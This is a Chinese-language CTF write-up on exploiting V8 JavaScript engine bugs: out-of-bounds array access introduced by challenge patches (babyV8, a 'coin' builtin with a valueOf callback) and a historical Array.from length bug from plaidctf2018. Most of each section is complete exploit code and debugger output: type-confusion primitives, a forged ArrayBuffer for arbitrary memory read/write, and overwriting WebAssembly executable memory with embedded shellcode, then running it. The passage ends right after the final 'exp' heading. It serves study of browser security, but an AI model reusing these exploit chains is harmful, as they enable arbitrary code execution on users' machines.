diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
可以看到，patch为`Array`类型增加了一个新的函数叫`oob`，其具体处理的逻辑在`BUILTIN(ArrayOob)`函数里，当参数个数为1个时，进行读操作
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
可以看到读操作溢出了一个单位，因为下标是以0开始的，同理当参数个数为2个时，进行写操作
elements.set(length,value->Number());
其中`BUILTIN(ArrayOob)`的第一个参数为`Array`本身，因此从`js`层面来看，oob接收的参数要么为0个要么为1个。
#### 漏洞利用
要利用该漏洞，我们考虑使用`var a =
[1.1,2.2,3.3]`这种`DOUBLE_ELEMENTS`类型的数组，因为这种数组里的数据是`unboxed`的，即没有包装为`HeapNumber`，elements里存的就是真值。在大多数情况下，这种类型的数组其elements在内存里的位置正好位于`Array`对象的上方，没有间隔。
测试以下代码，用gdb调试
var a = [1.1,2.2];
%DebugPrint(a);
%SystemBreak();
查看elements里，2.2这个数据后方是什么，可以发现是`Array`对象的MAP，而在v8里，如果能够控制对象MAP值，那么就可以造成类型混淆，轻松构造`addressOf`和`fakeObject`原语
并且可以看到这个版本的v8没有`compression
pointer`机制，因此`addressOf`获得的就是对象的完整地址，然后可以轻松伪造一个`ArrayBuffer`实现任意地址读写，写wasm的shellcode区域。
exp
<!DOCTYPE html>
<html>
<body>
<script>
var a = [1.1];
var unboxed_double_map = a.oob();
var obj = {};
var b = [obj];
var obj_element_map = b.oob();
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
function addressOf(obj) {
b[0] = obj;
b.oob(unboxed_double_map);
var addr = u64f(b[0]) - 0x1n;
b.oob(obj_element_map);
return addr;
}
function fakeObject(addr) {
a[0] = i2f64(addr + 1n);
a.oob(obj_element_map);
var mobj = a[0];
a.oob(unboxed_double_map);
return mobj;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
//alert('wasm='+addressOf(wasmInstance).toString(16));
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x88n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000084003ffn);
faker[3] = i2f64(0);
//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;
var arb_ArrayBuffer = fakeObject(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
//alert('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
</script>
</body>
</html>
### 0x02.01 xnuca2020-babyV8
#### patch分析
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
[&](TNode<Object> arg) {
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
arg);
- Increment(&var_length);
+ Increment(&var_length, 3);
},
first);
{
查找该函数的上层调用，发现其在`TF_BUILTIN(ArrayPrototypePush,
CodeStubAssembler)`函数里被调用，而`TF_BUILTIN(ArrayPrototypePush,
CodeStubAssembler)`函数是js中的`Array.prototype.push`函数的具体实现，因此该漏洞与`push`操作有关。
patch以后，部分关键代码如下
// Resize the capacity of the fixed array if it doesn't fit.
TNode<IntPtrT> first = arg_index->value();
Node* growth = IntPtrToParameter(
IntPtrSub(UncheckedCast<IntPtrT>(args->GetLength(INTPTR_PARAMETERS)),
first),
mode);
PossiblyGrowElementsCapacity(mode, kind, array, var_length.value(),
&var_elements, growth, &pre_bailout);
// Push each argument onto the end of the array now that there is enough
// capacity.
CodeStubAssembler::VariableList push_vars({&var_length}, zone());
Node* elements = var_elements.value();
args->ForEach(
push_vars,
[this, kind, mode, elements, &var_length, &pre_bailout](Node* arg) {
TryStoreArrayElement(kind, mode, &pre_bailout, elements,
var_length.value(), arg);
Increment(&var_length, 3, mode);
},
first, nullptr);
{
TNode<Smi> length = ParameterToTagged(var_length.value(), mode);
var_tagged_length = length;
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
Goto(&success);
}
其中看到，在存储数据之前，先进行了扩容，但这个扩容的计算是根据元素的个数来算的，而patch后，原本每次push一个数据，末尾指针加1，现在加了3
Increment(&var_length, 3, mode);
最后，数据都push完成后，将var_length的值作为Array的length，这就导致了数组的length大于其本身elements的大小，导致了oob。
#### 漏洞利用
首先测试如下代码，用gdb调试
var arr = [];
arr[0] = 1.1;
arr.push(1.1,2.2,3.3,4.4,5.5,6.6);
%DebugPrint(arr);
%SystemBreak();
可以看到arr的长度为19
为了验证是否溢出，我们用如下代码进一步测试
var arr = [];
arr[0] = 1.1;
arr.push(1.1,2.2,3.3,4.4,5.5,6.6);
var arr2 = [1.1,2.2];
%DebugPrint(arr);
%DebugPrint(arr2);
%SystemBreak();
结果如下
0x114d0808819d <JSArray[19]>
0x114d08088259 <JSArray[2]>
pwndbg> x /20wx 0x114d0808819c
0x114d0808819c: 0x08243905 0x080426e5 0x080881b1 0x00000026
0x114d080881ac: 0x08042219 0x08042a39 0x00000022 0x9999999a
0x114d080881bc: 0x3ff19999 0x9999999a 0x3ff19999 0xfff7ffff
0x114d080881cc: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0x9999999a
0x114d080881dc: 0x40019999 0xfff7ffff 0xfff7ffff 0xfff7ffff
pwndbg> x /20wx 0x114d080881b8
0x114d080881b8: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
0x114d080881c8: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff
0x114d080881d8: 0x9999999a 0x40019999 0xfff7ffff 0xfff7ffff
0x114d080881e8: 0xfff7ffff 0xfff7ffff 0x66666666 0x400a6666
0x114d080881f8: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff
pwndbg> x /20wx 0x114d08088258
0x114d08088258: 0x08243905 0x080426e5 0x08088241 0x00000004
0x114d08088268: 0x00000000 0x00000000 0x00000000 0x00000000
0x114d08088278: 0x00000000 0x00000000 0x00000000 0x00000000
0x114d08088288: 0x00000000 0x00000000 0x00000000 0x00000000
0x114d08088298: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> x /20wx 0x114d08088240
0x114d08088240: 0x08042a39 0x00000004 0x9999999a 0x3ff19999
0x114d08088250: 0x9999999a 0x40019999 0x08243905 0x080426e5
0x114d08088260: 0x08088241 0x00000004 0x00000000 0x00000000
0x114d08088270: 0x00000000 0x00000000 0x00000000 0x00000000
0x114d08088280: 0x00000000 0x00000000 0x00000000 0x00000000
计算arr可访问的范围
0x114d080881b8+19*8 = 0x114d08088250
可以看出，这个范围已经导入arr2的elements里，由此可以知道arr可以溢出，但是还溢出不到arr2对象那里，为了能够控制arr2对象，我们将arr2改为`var
arr2 = new Array(1.1,2.2);`可以发现，通过new创建的double Array对象，其elements位于对象下方，而不是上方。
0x0bd3080881a5 <JSArray[19]>
0x0bd308088249 <JSArray[2]>
pwndbg> x /20wx 0x0bd308088248
0xbd308088248: 0x08243905 0x080426e5 0x08088259 0x00000004
0xbd308088258: 0x08042a39 0x00000004 0x9999999a 0x3ff19999
0xbd308088268: 0x9999999a 0x40019999 0x00000000 0x00000000
0xbd308088278: 0x00000000 0x00000000 0x00000000 0x00000000
0xbd308088288: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> x /20wx 0x0bd308088258
0xbd308088258: 0x08042a39 0x00000004 0x9999999a 0x3ff19999
0xbd308088268: 0x9999999a 0x40019999 0x00000000 0x00000000
0xbd308088278: 0x00000000 0x00000000 0x00000000 0x00000000
0xbd308088288: 0x00000000 0x00000000 0x00000000 0x00000000
0xbd308088298: 0x00000000 0x00000000 0x00000000 0x00000000
这样，arr就可以溢出控制arr2对象的结构，改写arr2的length为更大，使得arr2也变为一个oob数组，然后后续利用就类似了。我们发现这个版本的v8开启了`compression
pointer`因此利用起来可能有些麻烦，于是我们直接用构造好的oob数组来改写下方的`ArrayBuffer`以及直接从下方搜索数据，不再使用`addressOf`和`fakeObject`来伪造对象。
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
//将一个32位整数打包位64位浮点数
function p64(val) {
dv.setUint32(0,val & 0xFFFFFFFF,true);
dv.setUint32(0x4,val >> 32,true);
var float_val = dv.getFloat64(0,true);
return float_val;
}
//将两个32位整数打包为一个64位浮点数
function p64(low4,high4) {
dv.setUint32(0,low4,true);
dv.setUint32(0x4,high4,true);
var float_val = dv.getFloat64(0,true);
return float_val;
}
//解包64位浮点数的低四字节
function u64_l(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0,true);
}
//解包64位浮点数的高四字节
function u64_h(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0x4,true);
}
var obj = {};
var arr = [];
arr[0] = 1.1;
arr.push(1.1,2.2,3.3,4.4,5.5,6.6);
var oob_arr = new Array(1.1,2.2);
var obj_arr = [obj,obj];
var arb_buf = new ArrayBuffer(0x10);
var d = arr[17];
var double_element_map = u64_l(d);
var tmp0 = u64_h(d);
d = arr[18];
var tmp1 = u64_l(d);
print("double_element_map="+double_element_map.toString(16));
arr[18] = p64(tmp1,0x100000); //修改oob_arr的length
d = oob_arr[4];
var obj_element_map = u64_l(d);
print("obj_element_map=" + obj_element_map.toString(16));
/*function addressOf(m_obj) {
obj_arr[0] = m_obj;
oob_arr[0x4] = p64(double_element_map,tmp0);
var a = u64_l(obj_arr[0]) - 0x1;
oob_arr[0x4] = p64(obj_element_map,tmp0);
return a;
}
function fakeObject(addr) {
oob_arr[0] = p64(addr + 0x1);
arr[17] = p64(obj_element_map,tmp0);
var a = oob_arr[0];
arr[17] = p64(double_element_map,tmp0);
return a;
}*/
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var wasm_shellcode_addr_l;
var wasm_shellcode_addr_h;
//搜索wasm_shellcode_addr
for (var i=0xfe;i>=1;i-=1) {
d = oob_arr[0x31200+i];
wasm_shellcode_addr_l = u64_h(d);
d = oob_arr[0x31200+i+1];
wasm_shellcode_addr_h = u64_l(d);
if (parseInt(wasm_shellcode_addr_h) != 0 && parseInt(wasm_shellcode_addr_l) != 0 && parseInt(wasm_shellcode_addr_l & 0xFFF) == 0) {
print("wasm_shellcode_addr=" + wasm_shellcode_addr_h.toString(16) + wasm_shellcode_addr_l.toString(16));
break;
}
}
oob_arr[0x7] = p64(tmp0,0x1000); //修改ArrayBuffer的length
oob_arr[0x8] = p64(0,wasm_shellcode_addr_l); //backing_stroe
oob_arr[0x9] = p64(wasm_shellcode_addr_h,0);
oob_arr[0xa] = p64(0x2,0);
var adv = new DataView(arb_buf);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
## 0x03 callback中的OOB
### 0x03.00 数字经济-final-browser
#### patch分析
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",
可以看到，patch为Array类型增加了一个`coin`函数，该函数功能就是如果`37 <
array_length`成立，就往37位置写入我们传入的value。
这里就涉及到一个知识点了`Object::ToNumber`会调用对象里的`valueOf`函数，因此，当执行到这个函数时，还得回到js层去执行valueOf函数，然后再回来。然而，我们注意到一个顺序
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
先是取了elements，然后再去js层回调valueOf函数。假如我们在js层里的valueOf函数里趁机把arr的length扩大，那么Array会申请新的elements，原来那个elements被释放了，然而会到native层时，elements仍然指向的是之前那个elements位置，这就造成了UAF，而`uint32_t
array_length =
static_cast<uint32_t>(array->length().Number());`是在之后执行，因此，我们一开始构造一个很小的arr，然后在valueOf里将arr扩大，那么即能绕过`if(37
< array_length){`的判断，从原来的elements处溢出。
#### 漏洞利用
我们可以利用溢出，修改后方的array对象的length，从而构造一个可以自由oob的数组。
POC
var val = {
valueOf:function() {
a.length = 0x100;
return 0xffffffff;
}
};
var a = new Array(30);
var arb_double_arr = [1.1,2.2];
a.coin(0x666,val); //溢出写arb_double_arr的size
构造出oob数组以后，我们就可以利用之前介绍的方法利用了。
exp
<!DOCTYPE html>
<html>
<body>
<script>
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
var val = {
valueOf:function() {
a.length = 0x100;
return 0xffffffff;
}
};
var a = new Array(30);
var arb_double_arr = [1.1,2.2];
a.coin(0x666,val); //溢出写arb_float_arr的size
//获取double element的map
var double_element_map = arb_double_arr[2];
var b = new Array(30);
var obj = {};
var obj_arr = [obj];
var obj_element_map = arb_double_arr[0x13a];
function addressOf(obj1) {
obj_arr[0] = obj1;
arb_double_arr[0x13a] = double_element_map;
var addr = u64f(obj_arr[0]) - 0x1n;
arb_double_arr[0x13a] = obj_element_map;
return addr;
}
function addressOf2(obj1) {
obj_arr[0] = obj1;
arb_double_arr[0x13a] = double_element_map;
var addr = u64f(obj_arr[0]) - 0x1n;
arb_double_arr[0x13a] = obj_element_map;
return addr;
}
function fakeObject(addr) {
arb_double_arr[0x13a] = double_element_map;
obj_arr[0] = i2f64(addr + 1n);
arb_double_arr[0x13a] = obj_element_map;
var mobj = obj_arr[0];
return mobj;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
//alert('wasm='+addressOf(wasmInstance).toString(16));
wasm_shellcode_ptr_addr = addressOf2(wasmInstance) + 0x88n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000082003ffn);
faker[3] = i2f64(0);
//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;
var arb_ArrayBuffer = fakeObject(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
//alert('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
</script>
</body>
</html>
### 0x03.01 plaidctf2018-roll_a_d8
#### patch分析
diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
diff --git a/test/mjsunit/regress/regress-821137.js b/test/mjsunit/regress/regress-821137.js
new file mode 100644
index 0000000..639b3b9
--- /dev/null
+++ b/test/mjsunit/regress/regress-821137.js
@@ -0,0 +1,27 @@
+// Copyright 2018 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Tests that creating an iterator that shrinks the array populated by
+// Array.from does not lead to out of bounds writes.
+let oobArray = [];
+let maxSize = 1028 * 8;
+Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
+ {
+ counter : 0,
+ next() {
+ let result = this.counter++;
+ if (this.counter > maxSize) {
+ oobArray.length = 0;
+ return {done: true};
+ } else {
+ return {value: result, done: false};
+ }
+ }
+ }
+) });
+assertEquals(oobArray.length, maxSize);
+
+// iterator reset the length to 0 just before returning done, so this will crash
+// if the backing store was not resized correctly.
+oobArray[oobArray.length - 1] = 0x41414141;
这题并不是patch引入漏洞，而是patch修复了漏洞，这是一个真实存在于v8中的历史漏洞，并且从patch中可以知道其代号为`821137`，我们在github上搜索一下代号找到一个commit，点击parent，获得其存在漏洞的那个commit为`1dab065bb4025bdd663ba12e2e976c34c3fa6599`，于是使用`git
checkout 1dab065bb4025bdd663ba12e2e976c34c3fa6599`，然后编译v8即可。
从patch中可以看到，已经有POC了，我们来分析一下POC的原理。
首先，漏洞出在`GenerateSetLength`函数，那么我们查找一下该函数的上层调用，发现其在
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
函数中被调用，处`bootstrapper.cc`中可以知道该函数是`Array.from`的具体实现
SimpleInstallFunction(array_function, "from", Builtins::kArrayFrom, 1,
false);
该函数的作用是通过一个迭代器为数组元素赋值，用法如下
let arr = [6,6,6,6];
Array.from.call(function() { return arr }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > 10) {
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
print(arr);
输出如下
root@ubuntu:~/Desktop/plaidctf2018-roll_a_d8/x64.debug# ./d8 poc.js
0,1,2,3,4,5,6,7,8,9
其中`[Symbol.iterator]`是固定语法，表明这是一个迭代器，我们只需要重写迭代器里的`next`函数即可实现自己的逻辑。
我们先看到`TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)`函数中迭代的逻辑
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
index = NumberInc(index.value());
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}
BIND(&loop_done);
{
length = index;
Goto(&finished);
}
可以看到当迭代完成也就是`loop_done`的时候，将迭代次数`index`赋值给了`length`变量，然后最后，调用`GenerateSetLength`函数将这个length设置到array对象里
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
而`GenerateSetLength`函数将迭代次数与原来的数组长度进行对比，如果比原来的小，就调用js层的`SetProperty`函数将arr的length设置，否则直接将length值写入。这里看似没有什么问题，但是问题就发生在回调的逻辑里，这里是假设了array对象的length和迭代次数`同步的递增`，我们可以在迭代回调函数里趁机把array对象的length给改小，然后进入`GenerateSetLength(context,
array.value(), length.value())`函数时就可以绕过`GotoIf(SmiLessThan(length_smi,
old_length),
&runtime);`函数，直接将迭代次数设置为array对象的length。调用`SetProperty`和使用`StoreObjectFieldNoWriteBarrier(fast_array,
JSArray::kLengthOffset,
length_smi);`来设置length的不同之处在于`SetProperty`是js层的，调用它来设置会顺便将elements扩容或收缩，而`StoreObjectFieldNoWriteBarrier(fast_array,
JSArray::kLengthOffset, length_smi);`函数不回调，直接在内存里写上这个值。因此，不扩容，就造成了溢出。
#### 漏洞利用
POC
let arr = [1.1];
Array.from.call(function() { return arr }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > 10) {
arr.length = 1;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
%DebugPrint(arr);
%SystemBreak();
可以看到length为10，然而elements的长度值却为1
由此，我们利用溢出，改写ArrayBuffer的length和backing_store即可实现任意地址读写
exp
